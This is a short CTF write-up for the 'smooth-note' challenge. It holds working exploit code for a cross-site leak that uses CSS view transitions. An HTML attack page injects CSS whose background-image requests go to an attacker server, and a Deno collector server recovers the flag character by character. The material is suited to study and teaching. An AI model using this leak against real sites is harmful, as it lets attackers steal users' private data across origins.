- CTFtime: https://ctftime.org/event/2441/
You can download challenge files from: smooth-note.tar.gz
Summary
- New CSS property
view-transition-name
based XS-Leaks
server.ts
search.html
You can download challenge files from: smooth-note.tar.gz
Summary
view-transition-name
based XS-Leaksserver.ts
search.html
<form method="post"> | |
<input name="style" /> | |
</form> | |
<script> | |
const serverHost = window.origin | |
const targetHost = "http://web:3000" | |
const sleep = async (time) => | |
new Promise((resolve) => setTimeout(resolve, time)); | |
const defaultChars = "abcdefghijklmnopqrstuvwxyz".split(""); | |
const search = async (prefix, chars = defaultChars) => { | |
for (let char of chars) { | |
const search = `${prefix}${char}`; | |
const winName = `win${search}`; | |
const win = window.open( | |
`${targetHost}/?search=${encodeURIComponent( | |
search | |
)}`, | |
winName, | |
"width=500,height=500" | |
); | |
await sleep(200); | |
const form = document.querySelector("form"); | |
form.action = `${targetHost}/create`; | |
form.target = winName; | |
document.querySelector("input").value = ` | |
::view-transition-new(site-title) { | |
animation-duration: 500s; | |
background-image: url(${serverHost}/add?q=${char}); | |
} | |
`; | |
form.submit(); | |
setTimeout(() => { | |
win.close(); | |
}, 1000); | |
} | |
await sleep(1000); | |
const notFounds = await (await fetch("/finish")).json(); | |
const flagChars = chars.filter((c) => !notFounds.includes(c)); | |
if (flagChars.length === 1) { | |
prefix = prefix + flagChars[0]; | |
fetch(`/flag=${prefix}`); | |
search(prefix); | |
} else if (flagChars.length > 1) { | |
// something wrong. search again with flagChars | |
search(prefix, flagChars); | |
} else { | |
// finish | |
console.log(`flag found: ${prefix}`) | |
} | |
}; | |
search("IERAE{"); | |
</script> |
// $ deno run --allow-net --allow-read server.ts | |
import { serveFile } from 'https://deno.land/std@0.224.0/http/file_server.ts' | |
const notFounds = new Set<string>() | |
function finish() { | |
const body = JSON.stringify([...notFounds.values()]) | |
notFounds.clear() | |
return new Response(body, { headers: { 'content-type': 'application/json' } }) | |
} | |
function add(query: string) { | |
notFounds.add(query) | |
return new Response("ok") | |
} | |
async function handler(request: Request): Promise<Response> { | |
const url = new URL(request.url) | |
console.log(url.toString()) | |
switch (url.pathname) { | |
case '/finish': | |
return finish() | |
case '/add': | |
{ | |
const q = url.searchParams.get('q') || '' | |
return add(q) | |
} | |
default: | |
return await serveFile(request, 'search.html') | |
} | |
} | |
Deno.serve({ port: 3001, hostname: "0.0.0.0", handler }) | |